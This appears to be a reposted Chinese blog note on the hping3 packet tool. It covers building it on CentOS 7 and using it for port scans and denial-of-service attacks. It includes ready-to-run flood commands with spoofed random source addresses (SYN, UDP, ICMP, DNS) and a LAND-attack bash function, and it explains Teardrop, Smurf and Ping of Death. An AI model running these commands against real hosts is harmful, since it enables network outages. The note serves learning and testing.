hping3 应用笔记
安裝
以下步驟用于 在 centos7 下安裝 hping3。
安裝依賴庫
先安裝以下依賴庫:
yum -y install libpcap yum -y install libpcap-devel yum -y install tcl-devel方式一: yum 安裝
yum -y install hping3方式二:源碼安裝
# 下載 wget http://www.hping.org/hping3-20051105.tar.gz# 解壓 tar xvf hping3-20051105.tar.gz cd hping3-20051105# 配置 ./configure# 編譯 make # 安裝 make install問題 1 (configure 時候出錯):
bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h
error can not find the byte order for this architecture, fix bytesex.h
ars.h:190:2: error: #error “Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)ENDIAN"
#error "Please, edit Makefile and add -DBYTE_ORDER(BIG|LITTLE)_ENDIAN”
原因:
沒有指定 x86_64 下的大小端對齊。
解決方法:
修改 bytesex.h,在 defined(__i386__) 后添加 defined(__x86_64__)。
修改前:
#if defined(__i386__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))修改后:
#if defined(__i386__) \|| defined(__x86_64__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))問題2 (make 時候出錯):
libpcap_stuff.c:20:21: fatal error: net/bpf.h: No such file or directory
原因:
bpf.h 路徑不正確。
解決方法:
添加軟連接 /usr/local/include/net/bpf.h。
mkdir -p /usr/local/include/net ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h使用
端口掃描
# 通過 eth0 網(wǎng)口,發(fā)送 SYN 報文 到 192.168.1.1:80 hping3 -I eth0 -S 192.168.1.1 -p 80syn flood
默認協(xié)議: tcp
默認源端口:隨機
默認源地址:攻擊機的 ip 地址
-I --interface interface name (otherwise default routing interface)
-S --syn set SYN flag
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-a --spoof spoof source address
–rand-source random source address mode. see the man.
-i --interval wait (uX for X microseconds, for example -i u1000)
–fast alias for -i u10000 (10 packets for second)
–faster alias for -i u1000 (100 packets for second)
udp flood
# 發(fā)送 udp 報文 到 192.168.1.1:80。 hping3 --udp 192.168.1.1 -p 80# 發(fā)送 udp 報文 到 192.168.1.1:80。偽造隨機源地址,洪水攻擊。 hping3 --udp 192.168.1.1 -p 80 --rand-source --floodicmp flood
# 發(fā)送 icmp 報文 到 192.168.1.1。 hping3 --icmp 192.168.1.1# 發(fā)送 icmp 報文 到 192.168.1.1。偽造隨機源地址,洪水攻擊。 hping3 --icmp 192.168.1.1 --rand-source --flooddns flood
# 發(fā)送 udp 報文 到 192.168.1.1:53。偽造隨機源地址,洪水攻擊。 hping3 --udp 192.168.1.1 -p 53 --rand-source --floodteardrop
Teardrop攻擊是一種拒絕服務攻擊。是基于病態(tài)分片數(shù)據(jù)包的攻擊方法。
其工作原理是向被攻擊者發(fā)送多個分片的IP包(IP分片數(shù)據(jù)包中包括該分片數(shù)據(jù)包屬于哪個數(shù)據(jù)包以及在數(shù)據(jù)包中的位置等信息)。
某些操作系統(tǒng)收到含有重疊偏移的偽造分片數(shù)據(jù)包時將會出現(xiàn)系統(tǒng)崩潰、重啟等現(xiàn)象。
-x --morefrag set more fragments flag
-d --data data size (default is 0)
-N --id id (default random)
-g --fragoff set the fragment offset
-c --count packet count
SMURF攻擊
Smurf攻擊通過使用將回復地址設置成受害網(wǎng)絡的廣播地址的ICMP應答請求(ping)數(shù)據(jù)包,來淹沒受害主機,
最終導致該網(wǎng)絡的所有主機都對此ICMP應答請求做出答復,導致網(wǎng)絡阻塞。
更加復雜的Smurf將源地址改為第三方的受害者,最終導致第三方崩潰。
XMAS TREE攻擊
TCP所有標志位被設置為1的數(shù)據(jù)包被稱為圣誕樹數(shù)據(jù)包(XMas Tree packet),之所以叫這個名是因為這些標志位就像圣誕樹上燈一樣全部被點亮。
hping3 -SFRP 192.168.1.1LAND攻擊
LAND攻擊方式采用了特別構造的TCP SYN數(shù)據(jù)包(通常用于開啟一個新的連接),使目標機器開啟一個源地址與目標地址均為自身IP地址的空連接,持續(xù)地自我應答,消耗系統(tǒng)資源直至崩潰。這種攻擊方法與SYN洪泛攻擊并不相同。
#!/bin/bashfunction land ( ) {local victim_ip=$1hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood }land $*Ping of Death攻擊
Ping of Death俗稱“死拼”。
其攻擊原理是攻擊者A向受害者B發(fā)送一些尺寸超大的ICMP(Ping命令使用的是ICMP報文)報文對其進行攻擊(對于有些路由器或系統(tǒng),在接收到一個這樣的報文后,由于處理不當,會造成系統(tǒng)崩潰、死機或重啟)。
-d --data data size (default is 0)
-x --morefrag set more fragments flag
-g --fragoff set the fragment offset
-N --id id (default random)
-c --count packet count
references
Nmap、Netcat、Hping3工具對比
CentOS 安裝hping3 錯誤以及解決方法
華安解密之DDoS攻防匯總貼
hping3_examples
Smurf攻擊
LAND攻擊
畸形報文攻擊種類及防御
總結
以上是生活随笔為你收集整理的hping3 应用笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 51单片机程序0到60计数个位逢5和6不
- 下一篇: FreeRTOS 入门